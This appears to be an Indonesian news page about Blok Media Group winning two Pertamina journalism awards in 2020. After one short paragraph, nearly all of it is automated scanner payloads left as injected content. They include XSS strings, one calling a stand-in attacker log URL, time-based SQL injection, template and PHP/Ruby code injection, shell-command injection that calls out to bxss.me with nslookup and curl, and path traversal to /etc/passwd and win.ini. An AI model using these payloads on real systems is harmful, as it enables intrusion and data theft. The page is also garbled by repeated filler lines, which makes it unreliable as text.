Foto: Istimewa
Alhamdulillah, Blok Media Group (BMG) menyabet 2 kategori di Anugerah Jurnalistik Pertamina (AJP) 2020 se Jatim, Bali dan Nusa Tenggara (Jatimbalinus) yang pertama Juara 2 Kategori Foto Esai karya CEO blokMedia Group M. Abdul Qohhar. Kemudian Juara 2 Kategori Feaure Media Siber atas nama Edy Purnomo, General Manager (GM) blokTuban.com.
555<akKqfTM<
555<img sRc='http://attacker-9449/log.php?
555
555<aRFtT4g x=9312>
555
555<ifRAme sRc=9465.com></IfRamE>
555
555<WFAKP3>2YLIG[!+!]</WFAKP3>
555
555bFiJT <ScRiPt >4Ksc(9640)</ScRiPt>
555
555}body{zzz:Expre/**/SSion(4Ksc(9310))}
555
555
<a HrEF=jaVaScRiPT:>
555
<a HrEF=http://xss.bxss.me></a>
555
555<input autofocus onfocus=4Ksc(9024)>
555
555<ScRiPt>4Ksc(9556)</sCripT>
555
555\u003CScRiPt\4Ksc(9563)\u003C/sCripT\u003E
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%34%4B%73%63%289798%29%3C%2F%73%43%72%69%70%54%3E
555
555<img/src=">" onerror=alert(9270)>
555
555<img src=xyz OnErRor=4Ksc(9553)>
555
555<img src=//xss.bxss.me/t/dot.gif onload=4Ksc(9467)>
555<body onload=4Ksc(9205)>
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9600'>
555
555<isindex type=image src=1 onerror=4Ksc(9829)>
555
555
555< ScRiPt >4Ksc(9531)</ScRiPt>
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9010></ScRiPt>
555
555<ScRiPt >4Ksc(9750)</ScRiPt>
555
555<ScR<ScRiPt>IpT>4Ksc(9771)</sCr<ScRiPt>IpT>
555
555<script>4Ksc(9604)</script>9604
555
555<script>4Ksc(9445)</script>
555
555<W5OJEU>BG3O8[!+!]</W5OJEU>
555
555<ScRiPt >4Ksc(9206)</ScRiPt>
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
dfb__${98991*97996}__::.x
dfb[[${98991*97996}]]xca
555
dfb{{98991*97996}}xca
555
555
555
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
555
555
<th:t="${dfb}#foreach
555
555
555
<%={{={@{#{${dfb}}%>
555
bfg4542＜s1﹥s2ʺs3ʹhjl4542
555
5559775622
555
555
'"()&%<zzz><ScRiPt >4Ksc(9816)</ScRiPt>
555
555'"()&%<zzz><ScRiPt >4Ksc(9979)</ScRiPt>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@dN94m
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555PNRbDbbm')) OR 122=(SELECT 122 FROM PG_SLEEP(15))--
555
555vYL3fc9O') OR 119=(SELECT 119 FROM PG_SLEEP(15))--
555
5557knAPqhp' OR 413=(SELECT 413 FROM PG_SLEEP(15))--
555
555-1)) OR 373=(SELECT 373 FROM PG_SLEEP(15))--
555
555
555
555-1) OR 977=(SELECT 977 FROM PG_SLEEP(15))--
555
555
555
555-1 OR 530=(SELECT 530 FROM PG_SLEEP(15))--
555
555ycXqBYQp'; waitfor delay '0:0:15' --
555
555-1 waitfor delay '0:0:15' --
555
555-1); waitfor delay '0:0:15' --
@@H2LVI
555-1; waitfor delay '0:0:15' --
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555RC4CtAUr')) OR 856=(SELECT 856 FROM PG_SLEEP(15))--
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555Bx3nyhKm') OR 484=(SELECT 484 FROM PG_SLEEP(15))--
555*if(now()=sysdate(),sleep(15),0)
555Xob0XOan' OR 862=(SELECT 862 FROM PG_SLEEP(15))--
-1" OR 2+802-802-1=0+0+0+1 --
-1' OR 2+816-816-1=0+0+0+1 or '5MdJRLwk'='
-1' OR 2+12-12-1=0+0+0+1 --
555-1)) OR 810=(SELECT 810 FROM PG_SLEEP(15))--
-1 OR 2+881-881-1=0+0+0+1
-1 OR 2+765-765-1=0+0+0+1 --
555-1) OR 336=(SELECT 336 FROM PG_SLEEP(15))--
555
555-1 OR 63=(SELECT 63 FROM PG_SLEEP(15))--
555dMm8uY9w
555
555qzpb8uB5'; waitfor delay '0:0:15' --
555
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555
555-1; waitfor delay '0:0:15' --
555
555
555
555
555
555
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555
555
555
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
555
555
555
555
555
555
555
<!--
555
555
555
555
555
555
'"
555
555
555
xfs.bxss.me
555
555
555
555
555
555
555
555
555
555
-1" OR 2+506-506-1=0+0+0+1 --
555
555
555
555
555
555
-1' OR 2+169-169-1=0+0+0+1 or 'sUiVZT0X'='
555
555
555
555
555
00000000-0000-0000-0000-000000024927/.
555
555
-1' OR 2+428-428-1=0+0+0+1 --
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
00000000-0000-0000-0000-000000024927
555
555
555
-1 OR 2+958-958-1=0+0+0+1
-1 OR 2+375-375-1=0+0+0+1 --
555
00000000-0000-0000-0000-000000024927
555
555
555
555
555
555
555
555
555
'.print(md5(31337)).'
${@print(md5(31337))}\
555
555
555
555
555
555
555
${@print(md5(31337))}
555
555
555
555
555
";print(md5(31337));$a="
'A'.concat(70-3).concat(22*4).concat(106).concat(73).concat(114).concat(89)+(require'socket' Socket.gethostbyname('hitsq'+'muzpfckkb453b.bxss.me.')[3].to_s)
555
555
555
555
555
555wr4C2o9C
555
';print(md5(31337));$a='
'+'A'.concat(70-3).concat(22*4).concat(107).concat(86).concat(98).concat(87)+(require'socket' Socket.gethostbyname('hityw'+'ihijhexva9618.bxss.me.')[3].to_s)+'
"+"A".concat(70-3).concat(22*4).concat(112).concat(90).concat(112).concat(69)+(require"socket" Socket.gethostbyname("hitih"+"kzseestka7e7b.bxss.me.")[3].to_s)+"
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
bxss.me/t/xss.html?%00
555
555
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitfmiiyrswvh66691.bxss.me||curl${IFS}hitfmiiyrswvh66691.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitfmiiyrswvh66691.bxss.me||curl${IFS}hitfmiiyrswvh66691.bxss.me)&`'
HttP://bxss.me/t/xss.html?%00
gethostbyname(lc('hitjl'.'iuhzsebv730d9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(65).chr(106).chr(75)
555"||sleep(27*1000)*otwlge||"
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitdaeprxlrsd1e99b.bxss.me||curl${IFS}hitdaeprxlrsd1e99b.bxss.me)
".gethostbyname(lc("hitis"."kiwvmuxe80f94.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(85).chr(104).chr(88)."
555'||sleep(27*1000)*ghgjuk||'
'.gethostbyname(lc('hitdk'.'fiumilebd2c07.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(68).chr(112).chr(71).'
;(nslookup -q=cname hitgixbfmrficf588d.bxss.me||curl hitgixbfmrficf588d.bxss.me)|(nslookup -q=cname hitgixbfmrficf588d.bxss.me||curl hitgixbfmrficf588d.bxss.me)&(nslookup -q=cname hitgixbfmrficf588d.bxss.me||curl hitgixbfmrficf588d.bxss.me)
555
555"&&sleep(27*1000)*jyiuzi&&"
555
555
`(nslookup -q=cname hitytpsppqneed9f0d.bxss.me||curl hitytpsppqneed9f0d.bxss.me)`
555
bxss.me
555
555
555'&&sleep(27*1000)*nvdrzl&&'
555
555
555
c:/windows/win.ini
|(nslookup -q=cname hitpmmfymgctz36c47.bxss.me||curl hitpmmfymgctz36c47.bxss.me)
555
555
'"()
&(nslookup -q=cname hitnzopvpvwxt4bf5c.bxss.me||curl hitnzopvpvwxt4bf5c.bxss.me)&'\"`0&(nslookup -q=cname hitnzopvpvwxt4bf5c.bxss.me||curl hitnzopvpvwxt4bf5c.bxss.me)&`'
555
../../../../../../../../../../../../../../etc/shells
555
555
555
/etc/shells
555
&nslookup -q=cname hitinvtpfdmma3e930.bxss.me&'\"`0&nslookup -q=cname hitinvtpfdmma3e930.bxss.me&`'
555
555
$(nslookup -q=cname hitkuelvkfkdz3f3cf.bxss.me||curl hitkuelvkfkdz3f3cf.bxss.me)
555
http://bxss.me/t/fit.txt?.jpg
555
555
(nslookup -q=cname hitjbdurxggqg824c7.bxss.me||curl hitjbdurxggqg824c7.bxss.me))
Http://bxss.me/t/fit.txt
redirtest.acx
555
555
expr 9000838340 - 984399
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
555
555
555|echo ginhhn$()\ qyahzm\nz^xyu||a #' |echo ginhhn$()\ qyahzm\nz^xyu||a #|" |echo ginhhn$()\ qyahzm\nz^xyu||a #
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
555
|echo ixccof$()\ sigbab\nz^xyu||a #' |echo ixccof$()\ sigbab\nz^xyu||a #|" |echo ixccof$()\ sigbab\nz^xyu||a #
555
^(#$!@#$)(()))******
555
555
555&echo idadzb$()\ secvvi\nz^xyu||a #' &echo idadzb$()\ secvvi\nz^xyu||a #|" &echo idadzb$()\ secvvi\nz^xyu||a #
!(()&&!|*|*|
555
555
555
555
)
&echo evsqdl$()\ qlraat\nz^xyu||a #' &echo evsqdl$()\ qlraat\nz^xyu||a #|" &echo evsqdl$()\ qlraat\nz^xyu||a #
555
555
555
echo qweqqo$()\ vtlgqn\nz^xyu||a #' &echo qweqqo$()\ vtlgqn\nz^xyu||a #|" &echo qweqqo$()\ vtlgqn\nz^xyu||a #
555&n928170=v932690
555
555
555
555
555
555
../555
555
555
555
555
555
555
file:///etc/passwd
555
${9999491+9999166}
555
555
../../../../../../../../../../../../../../windows/win.ini
555
555
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
'+response.write(9918741*9172991)+'
"+response.write(9918741*9172991)+"
555
NCQX59UR: rAt2sliC
555
555
c3ICrerL
555
response.write(9918741*9172991)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
<!--
555
555
555
'"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
00000000-0000-0000-0000-000000024927/.
555
555
555
555
555
00000000-0000-0000-0000-000000024927
555
555
555
555
555
555
555
555
555
555
555
555
555
555
00000000-0000-0000-0000-000000024927
555
555
'.print(md5(31337)).'
555
555
${@print(md5(31337))}\
'A'.concat(70-3).concat(22*4).concat(98).concat(82).concat(103).concat(72)+(require'socket' Socket.gethostbyname('hitef'+'yeztgupn4944c.bxss.me.')[3].to_s)
555
555
555
'+'A'.concat(70-3).concat(22*4).concat(122).concat(72).concat(108).concat(78)+(require'socket' Socket.gethostbyname('hitet'+'ntywaovb8ccdc.bxss.me.')[3].to_s)+'
555
${@print(md5(31337))}
555
555
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(107).concat(79).concat(118).concat(89)+(require"socket" Socket.gethostbyname("hitqv"+"bntyxyzj0b8dd.bxss.me.")[3].to_s)+"
";print(md5(31337));$a="
555
555
555
555
555
555
';print(md5(31337));$a='
bxss.me/t/xss.html?%00
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555"||sleep(27*1000)*poqcyw||"
555
555
HttP://bxss.me/t/xss.html?%00
555
555
555
555
555
555
555'||sleep(27*1000)*mrvvba||'
555
555
555
555
555"&&sleep(27*1000)*dbbhls&&"
555
555
555
555
555
gethostbyname(lc('hituh'.'vgywscnn38356.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(68).chr(104).chr(79)
555
555
555'&&sleep(27*1000)*xxiqly&&'
555
".gethostbyname(lc("hitaw"."hlduuifn9b42e.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(84).chr(119).chr(80)."
555
555
'"()
555
555
555
'.gethostbyname(lc('hithn'.'ohqfyabza0d15.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(70).chr(108).chr(85).'
555
555
555
555
555
bxss.me
555
555
555
redirtest.acx
c:/windows/win.ini
555
555
555
555
555
../../../../../../../../../../../../../../etc/shells
555
555
555
555
/etc/shells
555
555
555
http://bxss.me/t/fit.txt?.jpg
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitqgssghwtmbcb17f.bxss.me||curl${IFS}hitqgssghwtmbcb17f.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitqgssghwtmbcb17f.bxss.me||curl${IFS}hitqgssghwtmbcb17f.bxss.me)&`'
|(nslookup${IFS}-q${IFS}cname${IFS}hitegyyrcmhdybfffa.bxss.me||curl${IFS}hitegyyrcmhdybfffa.bxss.me)
^(#$!@#$)(()))******
Http://bxss.me/t/fit.txt
!(()&&!|*|*|
555
;(nslookup -q=cname hitbromhcvkrh14776.bxss.me||curl hitbromhcvkrh14776.bxss.me)|(nslookup -q=cname hitbromhcvkrh14776.bxss.me||curl hitbromhcvkrh14776.bxss.me)&(nslookup -q=cname hitbromhcvkrh14776.bxss.me||curl hitbromhcvkrh14776.bxss.me)
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
`(nslookup -q=cname hitwyuihdgrvvd315d.bxss.me||curl hitwyuihdgrvvd315d.bxss.me)`
)
555
555
555
|(nslookup -q=cname hitzryxxpcvisb4f4b.bxss.me||curl hitzryxxpcvisb4f4b.bxss.me)
555
555
&(nslookup -q=cname hitfzlfgrwsak798ba.bxss.me||curl hitfzlfgrwsak798ba.bxss.me)&'\"`0&(nslookup -q=cname hitfzlfgrwsak798ba.bxss.me||curl hitfzlfgrwsak798ba.bxss.me)&`'
555&n993160=v921108
&nslookup -q=cname hitdydcaofayo3bc4e.bxss.me&'\"`0&nslookup -q=cname hitdydcaofayo3bc4e.bxss.me&`'
555
$(nslookup -q=cname hitolrvhabhxr07387.bxss.me||curl hitolrvhabhxr07387.bxss.me)
555
555
555
555
555
(nslookup -q=cname hitczqvncfrhp7cff6.bxss.me||curl hitczqvncfrhp7cff6.bxss.me))
555
expr 9000800950 - 956650
../555
555
555
555|echo jacobx$()\ ruphsm\nz^xyu||a #' |echo jacobx$()\ ruphsm\nz^xyu||a #|" |echo jacobx$()\ ruphsm\nz^xyu||a #
555
555
|echo bnxctm$()\ uqnhnj\nz^xyu||a #' |echo bnxctm$()\ uqnhnj\nz^xyu||a #|" |echo bnxctm$()\ uqnhnj\nz^xyu||a #
555
${10000245+9999982}
file:///etc/passwd
555&echo rsdjiy$()\ bddgxw\nz^xyu||a #' &echo rsdjiy$()\ bddgxw\nz^xyu||a #|" &echo rsdjiy$()\ bddgxw\nz^xyu||a #
555
../../../../../../../../../../../../../../windows/win.ini
&echo bwxcgy$()\ npfsfr\nz^xyu||a #' &echo bwxcgy$()\ npfsfr\nz^xyu||a #|" &echo bwxcgy$()\ npfsfr\nz^xyu||a #
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
echo hghvxi$()\ zffyof\nz^xyu||a #' &echo hghvxi$()\ zffyof\nz^xyu||a #|" &echo hghvxi$()\ zffyof\nz^xyu||a #
../../../../../../../../../../../../../../etc/passwd
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
"+response.write(9328359*9331018)+"
555
FadQ8FHE: tgOenL85
'+response.write(9328359*9331018)+'
555
response.write(9328359*9331018)
lg3vbzCC
555
1FS2MIDZYAG0
555
555